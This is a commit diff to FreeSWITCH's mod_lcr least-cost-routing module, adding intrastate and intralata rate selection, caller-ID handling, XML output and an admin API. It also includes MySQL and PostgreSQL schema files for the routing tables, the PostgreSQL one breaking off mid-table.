-		switch_safe_free(cur->suffix);
-		switch_safe_free(cur->prefix);
-		switch_safe_free(cur->carrier_name);
-		switch_safe_free(cur->gw_prefix);
-		switch_safe_free(cur->gw_suffix);
-		switch_safe_free(cur->rate_str);
-		switch_safe_free(cur);
-	}
-	*head = NULL;
-}
-
 SWITCH_STANDARD_DIALPLAN(lcr_dialplan_hunt)
 {
 	switch_caller_extension_t *extension = NULL;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
 	callback_t routes = { 0 };
 	lcr_route cur_route = { 0 };
-	char *bridge_data = NULL;
 	char *lcr_profile = NULL;
+	switch_memory_pool_t *pool = NULL;
+	switch_event_t *event = NULL;
+	const char *intrastate = NULL;
+	const char *intralata = NULL;
 
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+		routes.session = session;
+	} else {
+		switch_core_new_memory_pool(&pool);
+		switch_event_create(&event, SWITCH_EVENT_MESSAGE);
+		routes.event = event;
+	}
+	routes.pool = pool;
+	if (!(routes.profile = locate_profile(lcr_profile))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
+		goto end;
+	}
+
+	intrastate = switch_channel_get_variable(channel, "intrastate");
+	intralata = switch_channel_get_variable(channel, "intralata");
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", intrastate);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "intralata channel var is [%s]\n", intralata);
+	if (!switch_strlen_zero(intralata) && !strcasecmp((char *)intralata, "true")) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Select routes based on intralata rates\n");
+		routes.intralata = SWITCH_FALSE;
+	} else if (!switch_strlen_zero(intrastate) && !strcasecmp((char *)intrastate, "true")) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
+		routes.intrastate = SWITCH_TRUE;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
+		routes.intrastate = SWITCH_FALSE;
+	}
+	
 	if (!caller_profile) {
 		caller_profile = switch_channel_get_caller_profile(channel);
 	}
 
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "LCR Lookup on %s\n", caller_profile->destination_number);
 	routes.lookup_number = caller_profile->destination_number;
-	if (lcr_do_lookup(&routes, caller_profile->destination_number, lcr_profile) == SWITCH_STATUS_SUCCESS) {
+	routes.cid = (char *) caller_profile->caller_id_number;
+	if (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) {
 		if ((extension = switch_caller_extension_new(session, caller_profile->destination_number, caller_profile->destination_number)) == 0) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "memory error!\n");
-			destroy_list(&routes.head);
-			return NULL;
+			goto end;
 		}
 
 		switch_channel_set_variable(channel, SWITCH_CONTINUE_ON_FAILURE_VARIABLE, "true");
 		switch_channel_set_variable(channel, SWITCH_HANGUP_AFTER_BRIDGE_VARIABLE, "true");
+		switch_channel_set_variable(channel, "import", "lcr_carrier,lcr_rate");
 
 		for (cur_route = routes.head; cur_route; cur_route = cur_route->next) {
-			/*bridge_data = get_bridge_data(caller_profile->destination_number, cur_route);*/
 			switch_caller_extension_add_application(session, extension, "bridge", cur_route->dialstring);
-			switch_safe_free(bridge_data);
 		}
-		destroy_list(&routes.head);
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", caller_profile->destination_number);
 	}
-	switch_safe_free(bridge_data);
 
+end:
+	if (!session) {
+		switch_core_destroy_memory_pool(&pool);
+	}
 	return extension;
 }
 
@@ -584,8 +1148,8 @@
 {
 	size_t i;
 
-	/*//switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", how_many, what);*/
-
+	/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what);*/
+	
 	for (i=0; i<how_many; i++) {
 		str_stream->write_function(str_stream, "%s", what);
 	}
@@ -604,26 +1168,74 @@
 	uint32_t cnt = 1;
 	char *lcr_profile = NULL;
 	switch_channel_t *channel = switch_core_session_get_channel(session);
+	switch_caller_profile_t *caller_profile = NULL;
 	char *last_delim = "|";
 	callback_t routes = { 0 };
 	lcr_route cur_route = { 0 };
+	switch_memory_pool_t *pool;
+	switch_event_t *event;
+	const char *intra = NULL;
 
 	if (!(mydata = switch_core_session_strdup(session, data))) {
 		return;
 	}
 
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+		routes.session = session;
+	} else {
+		switch_core_new_memory_pool(&pool);
+		switch_event_create(&event, SWITCH_EVENT_MESSAGE);
+		routes.event = event;
+	}
+	routes.pool = pool;
+
+	intra = switch_channel_get_variable(channel, "intrastate");
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", intra);
+	if (switch_strlen_zero(intra) || strcasecmp((char *)intra, "true")) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
+		routes.intrastate = SWITCH_FALSE;
+	} else {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
+		routes.intrastate = SWITCH_TRUE;
+	}
+
+	if (!caller_profile) {
+		if (!(caller_profile = switch_channel_get_caller_profile(channel))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unable to locate caller_profile\n");
+		}
+	}
+
 	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
 		dest = argv[0];
-		if(argc > 1) {
+		if (argc > 1) {
 			lcr_profile = argv[1];
 		}
 		
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "LCR Lookup on %s\n", dest);
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "LCR Lookup on %s using profile %s\n", dest, lcr_profile);
 		routes.lookup_number = dest;
-		if (lcr_do_lookup(&routes, dest, lcr_profile) == SWITCH_STATUS_SUCCESS) {
+		if (caller_profile) {
+			routes.cid = (char *) switch_channel_get_variable(channel, "effective_caller_id_number");
+			if (!routes.cid) {
+				routes.cid = (char *) caller_profile->caller_id_number;
+			}
+		}
+	
+		if (!(routes.profile = locate_profile(lcr_profile))) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
+			goto end;
+		}
+		if (lcr_do_lookup(&routes) == SWITCH_STATUS_SUCCESS) {
 			for (cur_route = routes.head; cur_route; cur_route = cur_route->next) {
-				switch_snprintf(vbuf, sizeof(vbuf), "lcr_route_%d", cnt++);
+				switch_snprintf(vbuf, sizeof(vbuf), "lcr_route_%d", cnt);
 				switch_channel_set_variable(channel, vbuf, cur_route->dialstring);
+				switch_snprintf(vbuf, sizeof(vbuf), "lcr_rate_%d", cnt);
+				switch_channel_set_variable(channel, vbuf, cur_route->rate_str);
+				switch_snprintf(vbuf, sizeof(vbuf), "lcr_carrier_%d", cnt);
+				switch_channel_set_variable(channel, vbuf, cur_route->carrier_name);
+				switch_snprintf(vbuf, sizeof(vbuf), "lcr_codec_%d", cnt);
+				switch_channel_set_variable(channel, vbuf, cur_route->codec);
+				cnt++;
 				switch_snprintf(rbp, rbl, "%s|", cur_route->dialstring);
 				last_delim = end_of_p(rbp);
 				l = strlen(cur_route->dialstring) + 1;
@@ -634,148 +1246,296 @@
 			switch_channel_set_variable(channel, "lcr_route_count", vbuf);
 			*(rbuf + strlen(rbuf) - 1) = '\0';
 			switch_channel_set_variable(channel, "lcr_auto_route", rbuf);
-			destroy_list(&routes.head);
+			switch_channel_set_variable(channel, "import", "lcr_carrier,lcr_rate");
 		} else {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", dest);
 		}
 	}
+	
+end:
+	if (!session) {
+		switch_core_destroy_memory_pool(&pool);
+	}
 }
 
+static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen) {
+	if (as_xml) {
+		str_repeat(indent*2, " ", stream);
+		stream->write_function(stream, "<%s>%s</%s>\n", key, data, key);
+	} else {
+		stream->write_function(stream, " | %s", data);
+		str_repeat((maxlen - strlen(data)), " ", stream);
+	}
+}
+
 SWITCH_STANDARD_API(dialplan_lcr_function)
 {
 	char *argv[4] = { 0 };
 	int argc;
 	char *mydata = NULL;
 	char *dialstring = NULL;
-	char *destination_number = NULL;
 	char *lcr_profile = NULL;
 	lcr_route current = NULL;
 	max_obj_t maximum_lengths = { 0 };
 	callback_t cb_struct = { 0 };
+	switch_memory_pool_t *pool = NULL;
+	switch_event_t *event;
 	switch_status_t lookup_status = SWITCH_STATUS_SUCCESS;
-	/*//switch_malloc(maximum_lengths, sizeof(max_obj_t)); */
+	switch_bool_t as_xml = SWITCH_FALSE;
+	int rowcount=0;
 
 	if (switch_strlen_zero(cmd)) {
 		goto usage;
 	}
 
-	mydata = switch_safe_strdup(cmd);
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG
+					  , "data passed to lcr is [%s]\n", cmd
+					  );
 
+	if (session) {
+		pool = switch_core_session_get_pool(session);
+		cb_struct.session = session;
+	} else {
+		switch_core_new_memory_pool(&pool);
+		switch_event_create(&event, SWITCH_EVENT_MESSAGE);
+		cb_struct.event = event;
+	}
+	cb_struct.pool = pool;
+	
+	mydata = switch_core_strdup(pool, cmd);
+
 	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
-		destination_number = strdup(argv[0]);
-		if(argc > 1) {
+		switch_assert(argv[0] != NULL);
+		cb_struct.lookup_number = switch_core_strdup(pool, argv[0]);
+		if (argc > 1) {
 			lcr_profile = argv[1];
 		}
-		cb_struct.lookup_number = destination_number;
+		if (argc > 2) {
+			int i;
+			for (i=2; i<argc; i++) {
+				if (!strcasecmp(argv[i], "intrastate")) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
+					cb_struct.intrastate = SWITCH_TRUE;
+				} else if(!strcasecmp(argv[i], "as")) {
+					i++;
+					if(argv[i] && !strcasecmp(argv[i], "xml")) {
+							as_xml = SWITCH_TRUE;
+						} else {
+							goto usage;
+						}
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Set Caller ID to [%s]\n", argv[i]);
+					/* the only other option we have right now is caller id */
+					cb_struct.cid = switch_core_strdup(pool, argv[i]);
+				}
+			}
+		} 
+		if (switch_strlen_zero(cb_struct.cid)) {
+			cb_struct.cid = "18005551212";
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING
+							  , "Using default CID [%s]\n", cb_struct.cid
+							  );
+		}
 
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO
-						  , "data passed to lcr is [%s]\n", cmd
-						  );
-		lookup_status = lcr_do_lookup(&cb_struct, destination_number, lcr_profile);
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO
-						  , "lcr lookup returned [%d]\n"
-						  , lookup_status
-						  );
+
+		if (!(cb_struct.profile = locate_profile(lcr_profile))) {
+			stream->write_function(stream, "-ERR Unknown profile: %s\n", lcr_profile);
+			goto end;
+		}
+
+		lookup_status = lcr_do_lookup(&cb_struct);
+
 		if (cb_struct.head != NULL) {
 			size_t len;
 
-			process_max_lengths(&maximum_lengths, cb_struct.head, destination_number);
+			if (as_xml) {
+				stream->write_function(stream, "<result>\n");
+			} else {
+				process_max_lengths(&maximum_lengths, cb_struct.head, cb_struct.lookup_number);
 
-			stream->write_function(stream, " | %s", headers[LCR_DIGITS_PLACE]);
-			if ((len = (maximum_lengths.digit_str - strlen(headers[LCR_DIGITS_PLACE]))) > 0) {
-				str_repeat(len, " ", stream);
-			}
+				stream->write_function(stream, " | %s", headers[LCR_HEADERS_DIGITS]);
+				if ((len = (maximum_lengths.digit_str - strlen(headers[LCR_HEADERS_DIGITS]))) > 0) {
+					str_repeat(len, " ", stream);
+				}
 
-			stream->write_function(stream, " | %s", headers[LCR_CARRIER_PLACE]);
-			if ((len = (maximum_lengths.carrier_name - strlen(headers[LCR_CARRIER_PLACE]))) > 0) {
-				str_repeat(len, " ", stream);
-			}
+				stream->write_function(stream, " | %s", headers[LCR_HEADERS_CARRIER]);
+				if ((len = (maximum_lengths.carrier_name - strlen(headers[LCR_HEADERS_CARRIER]))) > 0) {
+					str_repeat(len, " ", stream);
+				}
 
-			stream->write_function(stream, " | %s", headers[LCR_RATE_PLACE]);
-			if ((len = (maximum_lengths.rate - strlen(headers[LCR_RATE_PLACE]))) > 0) {
-				str_repeat(len, " ", stream);
-			}
+				stream->write_function(stream, " | %s", headers[LCR_HEADERS_RATE]);
+				if ((len = (maximum_lengths.rate - strlen(headers[LCR_HEADERS_RATE]))) > 0) {
+					str_repeat(len, " ", stream);
+				}
 
-			stream->write_function(stream, " | %s", headers[LCR_DIALSTRING_PLACE]);
-			if ((len = (maximum_lengths.dialstring - strlen(headers[LCR_DIALSTRING_PLACE]))) > 0) {
-				str_repeat(len, " ", stream);
-			}
+				stream->write_function(stream, " | %s", headers[LCR_HEADERS_CODEC]);
+				if ((len = (maximum_lengths.codec - strlen(headers[LCR_HEADERS_CODEC]))) > 0) {
+					str_repeat(len, " ", stream);
+				}
 
-			stream->write_function(stream, " |\n");
+				stream->write_function(stream, " | %s", headers[LCR_HEADERS_CID]);
+				if ((len = (maximum_lengths.cid - strlen(headers[LCR_HEADERS_CID]))) > 0) {
+					str_repeat(len, " ", stream);
+				}
 
+				stream->write_function(stream, " | %s", headers[LCR_HEADERS_DIALSTRING]);
+				if ((len = (maximum_lengths.dialstring - strlen(headers[LCR_HEADERS_DIALSTRING]))) > 0) {
+					str_repeat(len, " ", stream);
+				}
+
+				stream->write_function(stream, " |\n");
+			}
 			current = cb_struct.head;
 			while (current) {
 
-				dialstring = get_bridge_data(destination_number, current);
+				dialstring = get_bridge_data(pool, cb_struct.lookup_number, cb_struct.cid, current, cb_struct.profile, cb_struct.session);
+				rowcount++;
 
-				stream->write_function(stream, " | %s", current->digit_str);
-				str_repeat((maximum_lengths.digit_str - current->digit_len), " ", stream);
+				if (as_xml) {
+					stream->write_function(stream, "  <row id=\"%d\">\n", rowcount);
+				}
 				
-				stream->write_function(stream, " | %s", current->carrier_name );
-				str_repeat((maximum_lengths.carrier_name - strlen(current->carrier_name)), " ", stream);
+				write_data(stream, as_xml, "prefix", current->digit_str, 2, maximum_lengths.digit_str);
+				write_data(stream, as_xml, "carrier_name", current->carrier_name, 2, maximum_lengths.carrier_name);
+				write_data(stream, as_xml, "rate", current->rate_str, 2, maximum_lengths.rate);
+				if (current->codec) {
+					write_data(stream, as_xml, "codec", current->codec, 2, maximum_lengths.codec);
+				} else {
+					write_data(stream, as_xml, "codec", "", 2, maximum_lengths.codec);
+				}
+
+				if (current->cid) {
+					write_data(stream, as_xml, "cid", current->cid, 2, maximum_lengths.cid);
+				} else {
+					write_data(stream, as_xml, "cid", "", 2, maximum_lengths.cid);
+				}
 				
-				stream->write_function(stream, " | %s", current->rate_str );
-				str_repeat((maximum_lengths.rate - strlen(current->rate_str)), " ", stream);
-								
-				stream->write_function(stream, " | %s", dialstring);
-				str_repeat((maximum_lengths.dialstring - strlen(dialstring)), " ", stream);
-				
-				stream->write_function(stream, " |\n");
-				
-				switch_safe_free(dialstring);
+				write_data(stream, as_xml, "dialstring", current->dialstring, 2, maximum_lengths.dialstring);
+
+				if (as_xml) {
+					stream->write_function(stream, "  </row>\n");
+				} else {
+					stream->write_function(stream, " |\n");
+				}
 				current = current->next;
 			}
-
-			destroy_list(&cb_struct.head);
-			switch_safe_free(dialstring);
+			if (as_xml) {
+				stream->write_function(stream, "</result>\n");
+			}
 		} else {
-			if(lookup_status == SWITCH_STATUS_SUCCESS) {
-				stream->write_function(stream, "No Routes To Display\n");
+			if (lookup_status == SWITCH_STATUS_SUCCESS) {
+				if (as_xml) {
+					stream->write_function(stream, "<result row_count=\"0\">\n</results>\n");
+				} else {
+					stream->write_function(stream, "No Routes To Display\n");
+				}
 			} else {
-				stream->write_function(stream, "Error looking up routes\n");
+				stream->write_function(stream, "-ERR Error looking up routes\n");
 			}
 		}
 	}
 
-	switch_safe_free(mydata);
+end:
+	if (!session) {
+		if (pool) {
+			switch_core_destroy_memory_pool(&pool);
+		}
+	}
 	return SWITCH_STATUS_SUCCESS;
- usage:
+usage:
 	stream->write_function(stream, "USAGE: %s\n", LCR_SYNTAX);
+	goto end;
+}
+
+SWITCH_STANDARD_API(dialplan_lcr_admin_function)
+{
+	char *argv[4] = { 0 };
+	int argc;
+	char *mydata = NULL;
+	switch_hash_index_t *hi;
+	void *val;
+	profile_t *profile;
+
+	if (switch_strlen_zero(cmd)) {
+		goto usage;
+	}
+
+	mydata = strdup(cmd);
+
+	if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+		if (argc < 2) {
+			goto usage;
+		}
+		switch_assert(argv[0]);
+		if (!strcasecmp(argv[0], "show") && !strcasecmp(argv[1], "profiles")) {
+			for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
+				switch_hash_this(hi, NULL, NULL, &val);
+				profile = (profile_t *) val;
+				
+				stream->write_function(stream, "Name:\t\t%s\n", profile->name);
+				if (switch_strlen_zero(profile->custom_sql)) {
+					stream->write_function(stream, " ID:\t\t%d\n", profile->id);
+					stream->write_function(stream, " order by:\t%s\n", profile->order_by);
+				} else {
+					stream->write_function(stream, " custom sql:\t%s\n", profile->custom_sql);
+					stream->write_function(stream, " has %%:\t\t%s\n", profile->custom_sql_has_percent ? "true" : "false");
+					stream->write_function(stream, " has vars:\t%s\n", profile->custom_sql_has_vars ? "true" : "false");
+				}
+				stream->write_function(stream, " has intrastate:\t%s\n", profile->profile_has_intrastate ? "true" : "false");
+				stream->write_function(stream, " has intralata:\t%s\n", profile->profile_has_intralata ? "true" : "false");
+				stream->write_function(stream, " has npanxx:\t%s\n", profile->profile_has_npanxx ? "true" : "false");
+				stream->write_function(stream, " Reorder rate:\t%s\n", 
+										profile->reorder_by_rate ? "enabled" : "disabled");
+				stream->write_function(stream, " Info in headers:\t%s\n", 
+										profile->info_in_headers ? "enabled" : "disabled");
+				stream->write_function(stream, " Quote IN() List:\t%s\n", 
+										profile->quote_in_list ? "enabled" : "disabled");
+				stream->write_function(stream, "\n");
+			}
+		} else {
+			goto usage;
+		}
+	}
+	switch_safe_free(mydata);
 	return SWITCH_STATUS_SUCCESS;
+usage:
+	switch_safe_free(mydata);
+	stream->write_function(stream, "-ERR %s\n", LCR_ADMIN_SYNTAX);
+	return SWITCH_STATUS_SUCCESS;
+		
 }
-
+	
 SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
 {
 	switch_api_interface_t *dialplan_lcr_api_interface;
+	switch_api_interface_t *dialplan_lcr_api_admin_interface;
 	switch_application_interface_t *app_interface;
 	switch_dialplan_interface_t *dp_interface;
 	
 	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
 
-#ifndef SWITCH_HAVE_ODBC
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must have ODBC support in FreeSWITCH to use this module\n");
-	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "\t./configure --enable-core-odbc-support\n");
-	return SWITCH_STATUS_FALSE;
-#endif
+	if (!switch_odbc_available()) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "You must have ODBC support in FreeSWITCH to use this module\n");
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "\t./configure --enable-core-odbc-support\n");
+		return SWITCH_STATUS_FALSE;
+	}
 
 	globals.pool = pool;
-	
 
+	if (switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed to initialize mutex\n");
+	}
+	if (switch_mutex_init(&globals.db_mutex, SWITCH_MUTEX_UNNESTED, globals.pool) != SWITCH_STATUS_SUCCESS) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed to initialize db_mutex\n");
+	}
+
 	if (lcr_load_config() != SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to load lcr config file\n");
 		return SWITCH_STATUS_FALSE;
 	}
-	if (switch_mutex_init(&globals.mutex, SWITCH_MUTEX_NESTED, globals.pool) != SWITCH_STATUS_SUCCESS) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed to initialize mutex\n");
-	}
-	
-	if(set_db_random() == SWITCH_TRUE) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Database RANDOM function set to %s\n", db_random);
-	} else {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to determine database RANDOM function\n");
-	};
 
 	SWITCH_ADD_API(dialplan_lcr_api_interface, "lcr", "Least Cost Routing Module", dialplan_lcr_function, LCR_SYNTAX);
+	SWITCH_ADD_API(dialplan_lcr_api_admin_interface, "lcr_admin", "Least Cost Routing Module Admin", dialplan_lcr_admin_function, LCR_ADMIN_SYNTAX);
 	SWITCH_ADD_APP(app_interface, "lcr", "Perform an LCR lookup", "Perform an LCR lookup",
 				   lcr_app_function, "<number>", SAF_SUPPORT_NOMEDIA);
 	SWITCH_ADD_DIALPLAN(dp_interface, "lcr", lcr_dialplan_hunt);
@@ -786,6 +1546,11 @@
 
 SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_lcr_shutdown)
 {
+
+	switch_odbc_handle_disconnect(globals.master_odbc);
+	switch_odbc_handle_destroy(&globals.master_odbc);
+	switch_core_hash_destroy(&globals.profile_hash);
+
 	return SWITCH_STATUS_SUCCESS;
 }
 

Copied: freeswitch/branches/seven/src/mod/applications/mod_lcr/sql (from rev 14471, freeswitch/trunk/src/mod/applications/mod_lcr/sql)

Deleted: freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/mysql-5.0.sql

Copied: freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/mysql-5.0.sql (from rev 14471, freeswitch/trunk/src/mod/applications/mod_lcr/sql/mysql-5.0.sql) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/mysql-5.0.sql	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/mysql-5.0.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,89 @@
+-- MySQL dump 10.11
+--
+-- Host: lmdt.intralanman.com    Database: freeswitch
+-- ------------------------------------------------------
+-- Server version	5.0.51a-17-log
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `lcr`
+--
+
+DROP TABLE IF EXISTS `lcr`;
+CREATE TABLE `lcr` (
+  `id` int(11) NOT NULL auto_increment,
+  `digits` varchar(15) default NULL,
+  `rate` float(11,5) unsigned NOT NULL,
+  `intrastate_rate` float(11, 5) unsigned NOT NULL,
+  `intralata_rate` float(11, 5) unsigned NOT NULL,
+  `carrier_id` int(11) NOT NULL,
+  `lead_strip` int(11) NOT NULL,
+  `trail_strip` int(11) NOT NULL,
+  `prefix` varchar(16) NOT NULL,
+  `suffix` varchar(16) NOT NULL,
+  `lcr_profile` varchar(32) default NULL,
+  `date_start` datetime NOT NULL DEFAULT '1970-01-01',
+  `date_end` datetime NOT NULL DEFAULT '2030-12-31',
+  `quality` float(10,6) NOT NULL,
+  `reliability` float(10,6) NOT NULL,
+  `cid` varchar(32) NOT NULL DEFAULT '',
+  `enabled` boolean NOT NULL DEFAULT '1',
+  PRIMARY KEY  (`id`),
+  KEY `carrier_id` (`carrier_id`),
+  KEY `digits` (`digits`),
+  KEY `lcr_profile` (`lcr_profile`),
+  KEY `rate` (`rate`),
+  KEY `intra` (`intra`),
+  KEY `digits_profile_cid_rate` USING BTREE (`digits`,`rate`),
+  KEY `digits_profile_cid_intra` USING BTREE (`digits`,`intra`),
+  CONSTRAINT `carrier_id` FOREIGN KEY (`carrier_id`) REFERENCES `carriers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE
+) ENGINE=InnoDB AUTO_INCREMENT=8 DEFAULT CHARSET=latin1;
+
+--
+-- Table structure for table `carriers`
+--
+
+DROP TABLE IF EXISTS `carriers`;
+CREATE TABLE `carriers` (
+  `id` int(11) NOT NULL auto_increment,
+  `carrier_name` varchar(255) default NULL,
+  `enabled` boolean NOT NULL DEFAULT '1',
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB AUTO_INCREMENT=13 DEFAULT CHARSET=latin1;
+
+--
+-- Table structure for table `carrier_gateway`
+--
+
+DROP TABLE IF EXISTS `carrier_gateway`;
+CREATE TABLE `carrier_gateway` (
+  `id` int(11) NOT NULL auto_increment,
+  `carrier_id` int(11) default NULL,
+  `prefix` varchar(255) NOT NULL,
+  `suffix` varchar(255) NOT NULL,
+  `codec` varchar(255) NOT NULL,
+  `enabled` boolean NOT NULL DEFAULT '1',
+  PRIMARY KEY  (`id`),
+  KEY `carrier_id` (`carrier_id`)
+) ENGINE=InnoDB AUTO_INCREMENT=17 DEFAULT CHARSET=latin1;
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
+-- Dump completed on 2008-11-21 22:48:11

Deleted: freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/postgres-8.3.sql

Copied: freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/postgres-8.3.sql (from rev 14471, freeswitch/trunk/src/mod/applications/mod_lcr/sql/postgres-8.3.sql) (0 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/postgres-8.3.sql	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/applications/mod_lcr/sql/postgres-8.3.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,86 @@
+-- Table: carriers
+
+-- DROP TABLE carriers;
+
+CREATE TABLE carriers
+(
+  id serial NOT NULL,
+  carrier_name VARCHAR(255) NOT NULL,
+  enabled boolean NOT NULL DEFAULT 'true',
+  CONSTRAINT carriers_pkey PRIMARY KEY (id)
+);
+
+-- Table: carrier_gateway
+
+-- DROP TABLE carrier_gateway;
+
+CREATE TABLE carrier_gateway
+(
+  id serial NOT NULL,
+  carrier_id integer REFERENCES carriers(id),
+  prefix VARCHAR(128) NOT NULL DEFAULT '',
+  suffix VARCHAR(128) NOT NULL DEFAULT '',
+  codec VARCHAR(128) NOT NULL DEFAULT '',
+  enabled boolean NOT NULL DEFAULT 'true',
+  CONSTRAINT carrier_gateway_pkey PRIMARY KEY (id)
+);
+
+-- Index: gateway
+
+-- DROP INDEX gateway;
+
+CREATE UNIQUE INDEX gateway
+  ON carrier_gateway
+  (prefix, suffix);
+
+
+-- Table: lcr
+
+-- DROP TABLE lcr;
+
+CREATE TABLE lcr
+(
+  id serial NOT NULL,
+  digits NUMERIC(20, 0),
+  rate numeric(11,5) NOT NULL,
+  intrastate_rate numeric(11,5) NOT NULL,
+  intralata_rate numeric(11,5) NOT NULL,
+  carrier_id integer NOT NULL REFERENCES carriers(id),
+  lead_strip integer NOT NULL DEFAULT 0,
+  trail_strip integer NOT NULL DEFAULT 0,
+  prefix VARCHAR(16) NOT NULL DEFAULT '',
+  suffix VARCHAR(16) NOT NULL DEFAULT '',
+  lcr_profile INTEGER NOT NULL DEFAULT 0,
+  date_start timestamp with time zone NOT NULL DEFAULT '1970-01-01',
